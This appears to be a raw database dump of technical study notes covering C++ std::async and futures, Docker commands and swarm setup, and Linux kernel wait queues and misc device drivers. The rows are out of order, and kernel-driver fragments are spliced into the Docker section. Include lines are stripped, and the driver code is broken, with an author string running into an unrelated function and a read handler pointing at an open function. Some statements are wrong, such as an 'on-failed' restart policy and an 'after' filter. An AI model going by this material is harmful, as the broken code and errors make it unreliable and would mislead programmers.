10:06:01.210738 -3871 947 // if t1 is not done at this point, destructor of t1 executes now\n} code txt 2024-07-28 10:06:01.231077 -3872 948 You have to ensure that you ask for the result of a functionality started\nwith `async()` no earlier than necessary. text txt 2024-07-28 10:06:01.626524 -3873 948 std::future result1{std::async(func1)};\nint result = func2() + result1.get();\n// might call func2() after func1() ends code txt 2024-07-28 10:06:01.647511 -3874 948 Because the evaluation order on the right side of the second statement is\nunspecified, `result1.get()` might be called before `func2()` so that you\nhave sequential processing again. text txt 2024-07-28 10:06:01.667946 -3875 949 To have the best effect, in general, your goal should be to maximaze the\ndistance between calling `async()` and calling `get()`. Or, to use the terms\nof *call early and return late*. text txt 2024-07-28 10:06:01.942234 -3877 950 By explicitly passing a launch policy directing `async()` that it should\ndefinitely start the passed functionality asynchronously the moment it is\ncalled. text txt 2024-07-28 10:06:02.36769 -3878 950 std::future result = std::async(std::launch::async, do_something); code txt 2024-07-28 10:06:02.387916 -3879 950 If the asynchronous call is not possible here, the program will throw a\n`std::system_error` exception with the error code\n`resource_unavailable_try_again`, which is equivalent to the POSIX errno\n`EAGAIN`. text txt 2024-07-28 10:06:02.40876 -3880 951 With the `std::launch::async` policy, you don't necessarily have to call\n`get()` anymore because, if the life time of the returned future ends, the\nprogram will wait for the function to finish. Thus, if you don't call `get()`,\nleaving the scope of the future object will wait for the background task to\nend. Nevertheless, also calling `get()` here before a program ends makes the\nbehavior clearer. text txt 2024-07-28 10:06:02.829831 -3881 951 {\n std::future result = std::async(std::launch::async, do_something);\n // result's destructor blocks at the end of scope\n} code txt 2024-07-28 10:06:02.849741 -3882 952 If you don't assign the result of async call anywhere, the caller will block\nuntil the passed functionality has finished, which would mean that this is\nnothing but a synchronous call. text txt 2024-07-28 10:06:03.212809 -3883 952 std::async(std::launch::async, do_something);\nstd::async(std::launch::async, do_something);\nstd::async(std::launch::async, do_something);\n// runs sequentially code txt 2024-07-28 10:06:03.233994 -3884 953 You can enforce a deferred execution by passing `std::launch::deferred`\npolicy to `async()`. This guarantees that function never gets called without\n`get()`. This policy especially allows to program *lazy evaluation*. text txt 2024-07-28 10:06:03.584534 -3885 953 std::future result1{std::async(std::launch::deferred, do_something)};\nstd::future result2{std::async(std::launch::deferred, do_something)};\nauto value = optional_case() ? result1.get() : result2.get(); code txt 2024-07-28 10:06:03.606508 -3886 954 When `get()` is called and the background operation was or gets terminated by\nan exception, which was/is not handled inside the thread, this exception gets\npropegated again. As a result, to deal with exceptions of background\noperations, just do the same with `get()` as you would do when calling the\noperation synchronously. text txt 2024-07-28 10:06:04.455002 -3887 954 #include \n#include \n#include \n#include text txt 2024-07-28 10:06:04.475762 -3888 954 void raise_exception()\n{\n throw std::invalid_argument{"user caught lying"};\n} text txt 2024-07-28 10:06:04.4979 -3889 954 int main()\n{\n std::future execution = std::async(raise_exception);\n // stores thrown exception and holds in std::current_exception\n // then, rethrows when get() is called text txt 2024-07-28 10:06:04.518579 -3890 954 try\n {\n execution.get();\n }\n catch (std::invalid_argument const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:06:04.53958 -3891 955 You can call `get()` for a `std::future<>` only once. After `get()`, the\nfuture is in an invalid state, which can be checked only by calling `valid()`\nfor the future. Any call other than destruction will result in undefined\nbehavior. text txt 2024-07-28 10:06:04.794825 -3892 956 The waiting interface is callable more than once and might be combined with a\nduration or timepoint to limit the amount of waiting time. text txt 2024-07-28 10:06:05.3377 -3893 956 #include \n#include \n#include text txt 2024-07-28 10:06:05.35771 -3894 956 auto f1{std::async(do_something)};\nauto f2{std::async(do_something)};\nauto f3{std::async(do_something)}; text txt 2024-07-28 10:06:05.378567 -3895 956 f1.wait();\nf2.wait_for(std::chrono::seconds{10});\nf3.wait_until(std::chrono::steady_clock::now() + std::chrono::seconds{10}); code txt 2024-07-28 10:06:05.398589 -3896 957 Just calling `wait()` forces the start of a thread a future represents and\nwaits for the termination of the background operation. text txt 2024-07-28 10:06:05.867351 -3897 957 auto f{std::async(do_something)};\nf.wait(); // wait for thread to finish code txt 2024-07-28 10:06:05.887759 -3898 957 Two other wait functions exist for a limited time for an asynchronously\nrunning operation by passing a duration or a timepoint. text txt 2024-07-28 10:06:05.908496 -3899 957 auto f{std::async(do_something)};\nf.wait_for(std::chrono::seconds{10});\nf.wait_until(std::chrono::steady_clock::now() + std::chrono::seconds{10}); code txt 2024-07-28 10:06:05.930384 -3900 958 Both `wait_for()` and `wait_until()` return one of the following: text txt 2024-07-28 10:06:07.096583 -3901 958 - `std::future_status::deferred` if `async()` deferred the operation and no\n calls to `wait()` or `get()` have yet forced it to start, both functions\n return immediately in this case.\n- `std::future_status::timeout` if the operation was started asynchronously\n but hasn't finished yet.\n- `std::future_status::ready` if the operation has finished. text txt 2024-07-28 10:06:07.117954 -3902 958 #include \n#include \n#include \n#include text txt 2024-07-28 10:06:07.138733 -3903 958 long process_quickly()\n{\n std::this_thread::sleep_for(std::chrono::milliseconds{40});\n return 1;\n} text txt 2024-07-28 10:06:07.159619 -3904 958 long process_accurately()\n{\n std::this_thread::sleep_for(std::chrono::milliseconds{100});\n return 2;\n} text txt 2024-07-28 10:06:07.180945 -3905 958 long process()\n{\n std::future accurate_future{std::async(std::launch::async, process_accurately)};\n std::chrono::time_point deadline{std::chrono::steady_clock::now() + std::chrono::milliseconds{100}}; text txt 2024-07-28 10:06:07.20195 -3906 958 long quick_result{process_quickly()};\n std::future_status accurate_status{accurate_future.wait_until(deadline)}; text txt 2024-07-28 10:06:07.222742 -3907 958 if (accurate_status == std::future_status::ready)\n return accurate_future.get();\n else\n return quick_result;\n} text txt 2024-07-28 10:06:07.243365 -3911 959 docker version code txt 2024-07-28 10:06:08.482628 -3908 958 int main()\n{\n std::cout << process() << std::endl;\n // sometimes 1 and sometimes 2\n} code txt 2024-07-28 10:06:07.265698 -3909 958 Using `wait_for()` or `wait_until()` especially allows to program so-called\n*speculative execution*. text txt 2024-07-28 10:06:07.286522 -3910 959 Checking docker version should retrieve both client and server versions. text txt 2024-07-28 10:06:08.461382 -3912 959 In case docker client is not connected to the daemon, users should add themselves\nto the `docker` group. text txt 2024-07-28 10:06:08.503522 -3913 959 sudo usermod -aG docker $USER code txt 2024-07-28 10:06:08.525479 -3914 959 Logging out and then logging in is required for this change to take effect.\nHowever, user can temporarily apply changes to their active shell: text txt 2024-07-28 10:06:08.546178 -3916 960 docker image ls\ndocker image list code txt 2024-07-28 10:06:08.855247 -3917 961 This is the command used to start new containers.\nIn its simplest form, it accepts an image and a command as arguments.\nThe image is used to create the container and the command is the application\nthe container will run when it starts.\nThis example will start an Ubuntu container in the foreground,\nand tell it to run the Bash shell: text txt 2024-07-28 10:06:09.316662 -3918 961 docker container run --interactive --tty ubuntu /bin/bash code txt 2024-07-28 10:06:09.337131 -3919 961 The `-it` flags tell Docker to make the container interactive and to attach\nthe current shell to the container’s terminal. text txt 2024-07-28 10:06:09.357121 -3920 962 If you’re logged on to the container and type exit, you’ll terminate the\nBash process and the container will exit (terminate). This is because a\ncontainer cannot exist without its designated main process. text txt 2024-07-28 10:06:09.661945 -3921 962 Press Ctrl-P then Ctrl-Q to exit the container without terminating its main process.\nDoing this will place you back in the shell of your Docker host and leave the\ncontainer running in the background. text txt 2024-07-28 10:06:09.68236 -3922 963 This command runs a new process inside of a running container.\nIt’s useful for attaching the shell of your Docker host to a terminal\ninside of a running container.\nFor this to work, the image used to create the container must include the Bash shell. text txt 2024-07-28 10:06:10.061712 -3923 963 docker container exec --interactive --tty container_name /usr/bin/bash code txt 2024-07-28 10:06:10.082526 -3924 964 This command will stop a running container and put it in the Exited (0) state.\nIt does this by issuing a SIGTERM to the process with PID 1 inside of the container.\nIf the process has not cleaned up and stopped within 10 seconds, a SIGKILL will be\nissued to forcibly stop the container.\nThis command accepts container IDs and container names as arguments. text txt 2024-07-28 10:06:10.451972 -3925 964 docker container stop my-container code txt 2024-07-28 10:06:10.473364 -3926 965 This command will restart a stopped (Exited) container.\nYou can give this command the name or ID of a container. text txt 2024-07-28 10:06:10.82479 -3927 965 docker container start my-container code txt 2024-07-28 10:06:10.844289 -3928 966 This command will delete a stopped container.\nYou can specify containers by name or ID.\nIt is recommended that you stop a container before deleting it. text txt 2024-07-28 10:06:11.196132 -3929 966 docker container stop container_name\ndocker container rm container_name code txt 2024-07-28 10:06:11.216139 -3930 967 Lists all containers in the running (UP) state.\nIf you add the -a flag you will also see containers in the stopped (Exited) state. text txt 2024-07-28 10:06:11.545547 -3931 967 docker container list --all code txt 2024-07-28 10:06:11.565561 -3932 968 By checking the list of stopped containers. text txt 2024-07-28 10:06:11.860009 -3933 968 docker container list --all code txt 2024-07-28 10:06:11.88033 -3935 970 docker image pull mongo:4.2.6 code txt 2024-07-28 10:06:12.452621 -3936 971 Pulling images from an unofficial repository is essentially the same as pulling from official ones.\nYou just need to prepend the repository name with a DockerHub username or organization name. text txt 2024-07-28 10:06:12.86541 -3937 971 The following example shows how to pull the *v2* image from the *tu-demo* repository owned by a\nnot-to-be-trusted person whose DockerHub account name is *nigelpoulton*. text txt 2024-07-28 10:06:12.886309 -3938 971 docker image pull nigelpoulton/tu-demo:v2 code txt 2024-07-28 10:06:12.90609 -3939 972 If you want to pull images from 3rd party registries (not DockerHub), you\nneed to prepend the repository name with the DNS name of the registry. For\nexample, the following command pulls the `3.1.5` image from the\n`google-containers/git-sync` repo on the **Google Container Registry** (gcr.io). text txt 2024-07-28 10:06:13.271205 -3940 972 docker image pull gcr.io/google-containers/git-sync:v3.1.5 code txt 2024-07-28 10:06:13.291865 -3941 973 A dangling image is an image that is no longer tagged, and appears in\nlistings as `:`.\nA common way they occur is when building a new image giving it a tag\nthat already exists. text txt 2024-07-28 10:06:13.684333 -3942 973 docker image list --filter dangling=true code txt 2024-07-28 10:06:13.704702 -3943 974 You can delete all dangling images on a system with the following command. text txt 2024-07-28 10:06:14.131505 -3944 974 docker image prune code txt 2024-07-28 10:06:14.151427 -3945 974 If you add the `-a` flag, Docker will also remove all unused images (those not in use by any containers). text txt 2024-07-28 10:06:14.172127 -3946 974 docker image prune --all code txt 2024-07-28 10:06:14.192572 -3947 975 **dangling:** Accepts true or false\ndocker image list --filter dangling=true\ndocker image list --filter dangling=false code txt 2024-07-28 10:06:14.786327 -3948 975 **before:** Requires an image name or ID as argument, and returns all images created before it.\ndocker image list --filter before=container_name code txt 2024-07-28 10:06:14.806606 -3949 975 **since:** Same as above, but returns images created after the specified image.\ndocker image list --filter after=container_name code txt 2024-07-28 10:06:14.82855 -3950 975 **label:** Filters images based on the presence of a label or label and value.\nThis command does not display labels in its output.\ndocker image list --filter=reference="*:latest" code txt 2024-07-28 10:06:14.849385 -3951 976 You can use the `--format` flag to format output using Go templates.\nFor example, the following command will only return the size property of images on a Docker host. text txt 2024-07-28 10:06:15.265871 -3952 976 docker image list --format "{{.Size}}" code txt 2024-07-28 10:06:15.286892 -3953 976 Use the following command to return all images, but only display repo, tag and size. text txt 2024-07-28 10:06:15.308852 -3954 976 docker image list --format "{{.Repository}}: {{.Tag}}: {{.Size}}" code txt 2024-07-28 10:06:15.330183 -3955 977 The “NAME” field is the repository name. This includes the Docker ID, or\norganization name, for unofficial repositories. text txt 2024-07-28 10:06:15.916908 -3956 977 docker search nigelpoulton code txt 2024-07-28 10:06:15.937644 -3957 977 Use `--filter is-official=true` so that only official repos are displayed. text txt 2024-07-28 10:06:15.956548 -3958 977 docker search alpine --filter is-official=true code txt 2024-07-28 10:06:15.976736 -3997 988 Cmd /bin/bash code txt 2024-07-28 10:06:20.703322 -4012 991 docker login code txt 2024-07-28 10:06:22.65287 -3959 977 By default, Docker will only display 25 lines of results. However, you can\nuse the `--limit` flag to increase that to a maximum of 100. text txt 2024-07-28 10:06:15.997897 -3960 977 docker search alpine --filter is-automated=true --limit 100 code txt 2024-07-28 10:06:16.017972 -3961 978 This command will show you detailed configuration and runtime information\nabout a container.\nIt accepts container names and container IDs as its main argument. text txt 2024-07-28 10:06:16.336203 -3962 978 docker image inspect ubuntu:latest code txt 2024-07-28 10:06:16.356555 -3963 979 The `history` command is another way of inspecting an image and seeing layer data.\nHowever, it shows the build history of an image and is not a\nstrict list of layers in the final image. text txt 2024-07-28 10:06:16.681708 -3965 979 The image is always the combination of all layers stacked in the order they were added. text txt 2024-07-28 10:06:16.72363 -3966 980 docker image pull alpine:latest\ndocker image list --digests alpine:latest code txt 2024-07-28 10:06:16.979829 -3967 981 Assume you are running Docker on a Raspberry Pi (Linux running on ARM\narchitecture). When you pull an image, your Docker client makes the relevant\ncalls to the Docker Registry API exposed by DockerHub. If a manifest list\nexists for the image, it will be parsed to see if an entry exists for Linux\non ARM. If an ARM entry exists, the manifest for that image is retrieved\nand parsed for the crypto ID’s of the layers that make up the image. Each\nlayer is then pulled from DockerHub. text txt 2024-07-28 10:06:17.380609 -3968 981 docker manifest inspect golang code txt 2024-07-28 10:06:17.402428 -3969 982 You can create your own builds for diff erent platforms and architectures with text txt 2024-07-28 10:06:18.138347 -3972 982 docker manifest create code txt 2024-07-28 10:06:18.201384 -3973 982 to create your own manifest lists. text txt 2024-07-28 10:06:18.222758 -3974 982 The following command builds an image for ARMv7 called myimage:arm-v7 from the\ncontents of the current directory. It’s based on code in the code in\nhttps://github.com - https://github.com/nigelpoulton/psweb. text txt 2024-07-28 10:06:18.243062 -3975 982 docker buildx build --platform linux/arm/v7 -t myimage:arm-v7 . code txt 2024-07-28 10:06:18.263614 -3976 982 The beauty of the command is that you don’t have to run it from an ARMv7 Docker node. text txt 2024-07-28 10:06:18.285164 -3977 982 At the time of writing, buildx is an experimental feature and\nrequires `experimental=true` setting in your ∼/.docker/config.json file as follows. text txt 2024-07-28 10:06:18.305398 -3978 982 { "experimental": true } code txt 2024-07-28 10:06:18.32546 -3979 983 Containers run until the app they are executing exits. text txt 2024-07-28 10:06:18.743144 -3980 983 You can manually stop a running container with thedocker container stopcommand. text txt 2024-07-28 10:06:18.763894 -3981 983 To get rid of a container forever, you have to explicitly remove it. text txt 2024-07-28 10:06:18.783777 -3982 983 You can list multiple images on the same command by separating them with whitespace. text txt 2024-07-28 10:06:18.803724 -3983 983 docker image rm ubuntu:22.4\ndocker image rm f70734b6a266 a4d3716dbb72 code txt 2024-07-28 10:06:18.82371 -3984 984 This is a form of self-healing that enables Docker to automatically restart them after certain events or failures have occurred.\nRestart policies are applied per-container, and can be configured\nimperatively on the command line as part of `docker container run` commands,\nor declaratively in YAML files for use with higher-level tools such as\nDocker Swarm, Docker Compose, and Kubernetes. text txt 2024-07-28 10:06:19.243872 -3985 984 The following restart policies exist: text txt 2024-07-28 10:06:19.264017 -3986 984 * always\n* unless-stopped\n* on-failed text txt 2024-07-28 10:06:19.284595 -3988 985 The always policy is the simplest. It always restarts a stopped container\nunless it has been explicitly stopped.\nHowever, if you restart the Docker daemon, the container will be\nautomatically restarted when the daemon comes back up. text txt 2024-07-28 10:06:19.691226 -3989 985 docker container run --interactive --tty --restart always alpine /bin/bash code txt 2024-07-28 10:06:19.711397 -3990 985 Be aware that Docker has restarted the same container and not created a new one.\nIn fact, if you inspect it you can see there **startCount** has been incremented. text txt 2024-07-28 10:06:19.732533 -3991 986 The main difference between the **always** and **unless-stopped** policies is that\ncontainers with the **unless-stopped** policy will not be restarted when the\ndaemon restarts if they were in the **Stopped (Exited)** state. text txt 2024-07-28 10:06:20.012277 -3992 986 docker container run --interactive --tty --restart unless-stopped ubuntu /usr/bin code txt 2024-07-28 10:06:20.032692 -3993 987 The **on-failure** policy will restart a container if it exits with a non-zero\nexit code. It will also restart containers when the Docker daemon restarts,\neven containers that were in the stopped state. text txt 2024-07-28 10:06:20.3255 -3994 987 docker container run --interactive --tty --restart on-failure ubuntu /usr/bin code txt 2024-07-28 10:06:20.345721 -3995 988 When building a Docker image, you can embed an instruction that lists the\ndefault app for any containers that use the image. You inspect an image to see this. text txt 2024-07-28 10:06:20.662893 -3996 988 The entries after **Cmd** show the command/app that the container will run unless\nyou override it with a different one when you launch the container. text txt 2024-07-28 10:06:20.68358 -3998 989 FROM alpine\nLABEL maintainer="maintainer@domain.tld"\nLABEL description="Web service"\nLABEL version="0.1"\nRUN apk add --update nodejs nodejs-npm\nCOPY . /src\nWORKDIR /src\nRUN npm install\nEXPOSE 8080\nENTRYPOINT ["node", "./app.js"] code txt 2024-07-28 10:06:21.611296 -3999 989 The `RUN` instruction uses the Alpine apk package manager to install node js and nodejs-npm into the image.\nIt creates a new image layer directly above the Alpine base layer, and installs the packages in this layer. text txt 2024-07-28 10:06:21.632328 -4000 989 The `COPY . /src` instruction creates another new layer and copies in the\napplication and dependency f i les from the build context. text txt 2024-07-28 10:06:21.652902 -4001 989 The `WORKDIR` instruction sets the working directory inside the image filesystem for the rest of the instructions in the file.\nThis instruction does not create a new image layer. text txt 2024-07-28 10:06:21.673374 -4002 989 Then the `RUN` npm install instruction creates a new layer and uses `npm` to install application dependencies listed in the `package.json` file in the build context.\nIt runs within the context of the `WORKDIR` set in the previous instruction, and installs the dependencies into the newly created layer. text txt 2024-07-28 10:06:21.695259 -4003 989 The application exposes a web service on TCP port 8080, so the Dockerfile documents this with the `EXPOSE 8080` instruction.\nThis is added as image metadata and not an image layer. text txt 2024-07-28 10:06:21.717073 -4004 989 Finally, the `ENTRYPOINT` instruction is used to set the main application that the image (container) should run.\nThis is also added as metadata and not an image layer. text txt 2024-07-28 10:06:21.737308 -4005 989 All non-comment lines are Instructions and take the format `INSTRUCTION argument`.\nInstruction names are not case sensitive, but it’s normal practice to write them in UPPERCASE.\nThis makes reading the Docker file easier. text txt 2024-07-28 10:06:21.758269 -4006 989 It's important that you understand containers are persistent in nature.\nContainers are designed to be immutable objects and it’s not a good practice to write data to them.\nFor this reason, Docker provides volumes that exist separately from the container, but can be mounted into the container at runtime. text txt 2024-07-28 10:06:21.78036 -4007 990 The period (.) at the end of the command tells Docker to use the shell’s current working directory as the build context. text txt 2024-07-28 10:06:22.069032 -4008 990 docker image build --tag container:latest . code txt 2024-07-28 10:06:22.088838 -4009 990 You can inspect the built image to verify the configuration of the image. text txt 2024-07-28 10:06:22.109087 -4010 991 In order to push an image to DockerHub, you need to login with your Docker ID. text txt 2024-07-28 10:06:22.60913 -4011 991 Before you can push an image, you need to tag it in a special way.\nThis is because Docker needs all of the following information when pushing an image: text txt 2024-07-28 10:06:22.631118 -4013 991 * Registry\n* Repository\n* Tag text txt 2024-07-28 10:06:22.674395 -4910 1390 Wait queues are implemented in `include/linux/wait.h`: text txt 2024-07-28 10:08:53.259531 -4913 1391 We can declare and initialize a wait queue either statically or dynamically. text txt 2024-07-28 10:08:53.627141 -4917 1392 Most of the time, the event is just the fact that a resource becomes available, thus it makes sense for a process to go to sleep after a first check of the availability of that resource. text txt 2024-07-28 10:08:54.125204 -4920 1392 `wait_event()` puts the process into an exclusive wait, aka uninterruptible sleep, and can't thus be interrupted by the signal.\nIt should be used only for critical tasks. text txt 2024-07-28 10:08:54.187212 -4923 1393 Time unit for `timeout` is a jiffy. text txt 2024-07-28 10:08:54.519384 -4926 1395 unsigned long msecs_to_jiffies(const unsigned int m)\nunsigned long usecs_to_jiffies(const unsigned int u) code txt 2024-07-28 10:08:55.032438 -4929 1396 - `wake_up()`: wake only one process from the wait queue\n- `wake_up_all()`: wake all processes from the wait queue\n- `wake_up_interruptible()`: wake only one process from the wait queue that is in interruptible sleep\n- `wake_up_interruptible_all()`: wake all processes from the wait queue that are in interruptible sleep text txt 2024-07-28 10:08:55.448421 -4932 1398 Modules are located in `/lib/modules/$(uname -r)/kernel`. text txt 2024-07-28 10:08:56.058906 -4936 1399 Origin: Effectively use module commands text txt 2024-07-28 10:08:56.451023 -4941 1402 rmmod ecryptfs code txt 2024-07-28 10:08:57.06586 -4945 1404 This utility uses dependency file to load dependencies first. text txt 2024-07-28 10:08:57.567276 -4949 1405 modinfo ecryptfs code txt 2024-07-28 10:08:57.843246 -4953 1408 In order for the kernel to distinguish between device files, it uses two\nattributes within their inode data structure: text txt 2024-07-28 10:08:58.87578 -4956 1410 Block devices have the kernel-level capability to be mounted and thus become\npart of the user-accessible filesystem. Character devices cannot be mounted;\nthus, storage devices tend to be block-based. text txt 2024-07-28 10:08:59.451245 -4959 1411 The minor number's meaning (interpretation) is left completely to the driver\nauthor; the kernel does not interfere. text txt 2024-07-28 10:09:00.067657 -4962 1412 - The **buses** on the system.\n- The **devices** on them.\n- The **device drivers** that drive the devices. text txt 2024-07-28 10:09:00.350664 -4965 1415 After its corresponding bus driver binds the device to its correct device\ndriver, the kernel driver framework invokes the registered `probe()` method\nof the driver. This probe method now sets up the device, allocating\nresources, IRQs, memory setup, registering it as required, and so on. text txt 2024-07-28 10:09:01.270437 -4968 1417 An appropriate value to return if you aren't supporting a function is\n`-ENOSYS`, which will have the user-mode process see the error `Function not\nimplemented`. text txt 2024-07-28 10:09:02.106916 -4971 1418 The `lseek(2)` system call has the driver seek to a prescribed location in\nthe file, here of course in the device. For majority of hardware devices, the\n`lseek(2)` value is not meaningful, thus most drivers do not need to\nimplement it. The problem is, even when there is no need to support\n`lseek(2)`, it still returns a random positive value, misleading user space\nprocess to incorrectly conclude that it succeeded. Hence, to handle\nunsupported `lseek(2)` on a device driver, explicitly set `llseek` function\npointer to `no_llseek` value, which will cause a failure value (`-ESPIPE;\nillegal seek`) to be returned. In such cases, also invoke\n`nonseekable_open()` function in driver's `open()` method, specifying that\nthe file is non-seekable. text txt 2024-07-28 10:09:02.638146 -4974 1419 static struct miscdevice miscdev = {\n .name = "miscdev",\n .minor = MISC_DYNAMIC_MINOR,\n .mode = 0600,\n .fops = NULL, // file operation methods\n}; text txt 2024-07-28 10:09:03.947349 -4977 1419 if (ret != 0)\n {\n pr_notice("miscdev registration failed, aborting\\\\n");\n return ret;\n } text txt 2024-07-28 10:09:04.009496 -4980 1419 module_init(miscdev_init);\nmodule_exit(miscdev_exit); text txt 2024-07-28 10:09:04.069329 -4983 1419 KERNEL_SRC ?= /usr/lib/modules/$(shell uname -r)/build text txt 2024-07-28 10:09:04.130983 -4985 1419 modules modules_install help clean:\n $(MAKE) -C $(KERNEL_SRC) M=$(PWD) $@ code txt 2024-07-28 10:09:04.171151 -4987 1420 A device driver provides several entry points into the kernel known as the\ndriver's methods. All possible methods the driver author can hook into are in\n`file_operations` kernel data structure defined in `` header. text txt 2024-07-28 10:09:04.569021 -4989 1421 The `file_operations` structure represents all possible `file_related` system\ncalls that could be issued on a device file including `open`, `read`, `poll`,\n`mmap`, `release`, and several more members. text txt 2024-07-28 10:09:06.018633 -4991 1421 #include \n#include text txt 2024-07-28 10:09:06.060729 -4993 1421 static struct miscdevice miscdev = {\n .name = "miscdev",\n .minor = MISC_DYNAMIC_MINOR,\n .mode = 0600,\n .fops = &misc_fops,\n}; text txt 2024-07-28 10:09:06.104701 -4996 1421 if (ret != 0)\n {\n pr_notice("miscdev registration failed, aborting\\\\n");\n return ret;\n } text txt 2024-07-28 10:09:06.164778 -4998 1421 if (!dev)\n {\n return 1;\n } text txt 2024-07-28 10:09:06.205268 -5000 1421 static void __exit miscdev_exit(void)\n{ } text txt 2024-07-28 10:09:06.247025 -5002 1421 MODULE_LICENSE("GPL");\nMODULE_AUTHOR("Brian Salehi f_flags);\n kfree(kbuf);\n return nonseekable_open(inode, fp);\n} code txt 2024-07-28 10:09:06.866275 -5008 1423 static const file_operations misc_fops = {\n .read = misc_open,\n}; text txt 2024-07-28 10:09:08.235515 -5010 1423 static int misc_open(struct inode *inode, struct file *fp)\n{\n char *kbuf = kzalloc(PATH_MAX, GFP_KERNEL); text txt 2024-07-28 10:09:08.278231 -5015 1423 dev = misc_dev.this_device;\n} text txt 2024-07-28 10:09:08.38684 -4014 991 docker login code txt 2024-07-28 10:06:22.694578 -4015 992 Docker is opinionated, so by default it pushes images to DockerHub.\nYou can push to other registries, but you have to explicitly set the registry URL as part of the `docker image push` command. text txt 2024-07-28 10:06:22.964708 -4016 992 docker image push registry/repository/container:latest code txt 2024-07-28 10:06:22.985481 -4017 993 This command adds an additional tag, it does not overwrite the original. text txt 2024-07-28 10:06:23.245725 -4018 993 docker image tag container:latest repository/container:latest code txt 2024-07-28 10:06:23.267428 -4019 994 Comment lines start with the `#` character. text txt 2024-07-28 10:06:23.439534 -4020 995 Some instructions create new layers, whereas others just add metadata to the image config file. text txt 2024-07-28 10:06:23.79472 -4021 995 Examples of instructions that create new layers are FROM, RUN, and COPY.\nExamples that create metadata include EXPOSE, WORKDIR, ENV, and ENTRYPOINT. text txt 2024-07-28 10:06:23.815248 -4022 995 If an instruction is adding content such as files and programs to the image, it will create a new layer.\nIf it is adding instructions on how to build the image and run the application, it will create metadata. text txt 2024-07-28 10:06:23.836027 -4023 995 code txt 2024-07-28 10:06:23.855149 -4024 996 docker image history web:latest code txt 2024-07-28 10:06:24.072046 -4025 997 You can force the build process to ignore the entire cache by passing the --no-cache=true flag to the `docker image build` command. text txt 2024-07-28 10:06:24.30488 -4026 997 code txt 2024-07-28 10:06:24.32494 -4027 998 The COPY and ADD instructions include steps to ensure that the content being\ncopied into the image has not changed since the last build. text txt 2024-07-28 10:06:24.678308 -4028 998 For example, it’s possible that the `COPY . /src` instruction in the Dockerfile\nhas not changed since the previous, but the contents of the directory being\ncopied into the image have changed! text txt 2024-07-28 10:06:24.699788 -4029 998 To protect against this, Docker performs a checksum against each file being\ncopied, and compares that to a checksum of the same f i le in the cached\nlayer.\nIf the checksums do not match, the cache is invalidated and a new layer is built. text txt 2024-07-28 10:06:24.722045 -4030 999 Add the --squash flag to the `docker image build` command if you want to create a squashed image. text txt 2024-07-28 10:06:24.975521 -4031 999 docker image build --squash --tag container:latest . code txt 2024-07-28 10:06:24.995788 -4032 1000 If you are building Linux images, and using the apt package manager, you\nshould use the --no-install-recommends flag with the apt-get install command.\nThis makes sure that apt only installs main dependencies\n(packages in the Depends field) and not recommended or suggested packages. text txt 2024-07-28 10:06:25.32315 -4033 1000 apt update && apt upgrade --yes && apt install --yes --no-install-recommends packages... code txt 2024-07-28 10:06:25.343015 -4034 1001 A *swarm* consists of one or more Docker nodes. text txt 2024-07-28 10:06:25.580666 -4035 1002 Nodes are configured as *managers* or *workers*. text txt 2024-07-28 10:06:25.778643 -4036 1003 The configuration and state of a *swarm* is held in a distributed *etcd* database located on all *managers*.\nIt's installed as part of the swarm and just takes care of itself. text txt 2024-07-28 10:06:25.97558 -4037 1004 Docker nodes that are not part of a *swarm* are said to be in a **single-engine** mode.\nOnce they're added to a *swarm* they're automatically switched into **swarm mode**. text txt 2024-07-28 10:06:26.252049 -4038 1004 Joining a Docker host to an existing *swarm* switches them into *swarm mode* as part of the operation. text txt 2024-07-28 10:06:26.27298 -4039 1005 docker swarm init --advertise-addr 10.0.0.1:2377 --listen-addr 10.0.0.1:2377 code txt 2024-07-28 10:06:26.504659 -4040 1006 The default port that *swarm mode* operates on is 2377.\nThis is customizable, but it's convention to use 2377/tcp for secured client-to-swarm connections. text txt 2024-07-28 10:06:26.724456 -4041 1007 docker node ls code txt 2024-07-28 10:06:26.989452 -4042 1007 Nodes with nothing in the `MANAGER STATUS` column are *workers*.\nThe asterisk after the `ID` column indicates the node you are logged on to and executing commands from. text txt 2024-07-28 10:06:27.010795 -4043 1008 In a *manager* node extract tokens required to add new *workers* and *managers* to the swarm: text txt 2024-07-28 10:06:27.307689 -4044 1008 docker swarm join-token worker\ndocker swarm join-token manager code txt 2024-07-28 10:06:27.328138 -4045 1009 In a *worker* node use extracted token to join to the swarm: text txt 2024-07-28 10:06:27.654885 -4046 1009 docker swarm join --token 10.0.0.1:2377 --advertise-addr 10.0.0.1:2377 --listen-addr 10.0.0.1:2377 code txt 2024-07-28 10:06:27.674215 -4047 1009 The `--advertise-addr` and `--listen-addr` flags are optional, but it's best practice to be as specific as possible when it comes to network configuration. text txt 2024-07-28 10:06:27.695757 -4048 1010 Swarm implements a form of active-passive multi-manager high availability mechanism.\nThis means that although you have multiple *managers*, only one of them is *active* at any given moment.\nThis active *manager* is called the *leader*, and is the only *manager* that will ever issue live commands against the *swarm*.\nSo, it's only ever the *leader* that changes the config, or issues tasks to workers.\nIf a *follower manager* (passive) receives commands for the swarm, it proxies them across the *leader*. text txt 2024-07-28 10:06:27.965244 -4049 1011 1. Deploy an odd number of managers.\n2. Don't deploy too many managers (3 or 5 is recommended) text txt 2024-07-28 10:06:28.303847 -4050 1011 Having an odd number of *managers* reduced the chance of split-brain condition.\nFor example, if you had 4 *managers* and the network partitioned, you could be left with two managers on each side of the partition.\nThis is known as a split brain, each side knows there used to be 4 but can now only see 2.\nBut crucially, neither side has any way of knowing if the other are still alive and whether it holds a majority (quorum).\nA swarm cluster continues to operate during split-brain condition, but you are no longer able to alter the configuration, or add and manage application workloads.\nHowever, if you have 3 or 5 managers and the same network partition occurs, it is impossible to have an equal number of managers on both sides of the parition, then one side achieves quorum and full cluster management services remain available. text txt 2024-07-28 10:06:28.326876 -4051 1012 Restarting an old manager or restoring an old backup has the potential to compromise the cluster.\nOld managers re-joining a swarm automatically decrypt and gain access to the Raft log time-series database, this can pose security concerns.\nRestoring old backups can also wipe the current swarm configuration. text txt 2024-07-28 10:06:28.593545 -4052 1012 To prevent situations like these, Docker allows to lock a swarm with the Autolock feature.\nThis forces restarted managers to present the cluster unlock key before being admitted back into the cluster. text txt 2024-07-28 10:06:28.615784 -4053 1013 To apply a lock directly to a new swarm: text txt 2024-07-28 10:06:29.005434 -4054 1013 docker swarm init --autolock code txt 2024-07-28 10:06:29.025557 -4055 1013 However, to lock an already initialized swarm, run the following command on a swarm *manager*: text txt 2024-07-28 10:06:29.04522 -4056 1013 docker swarm update --autolock true code txt 2024-07-28 10:06:29.066103 -4057 1014 docker swarm 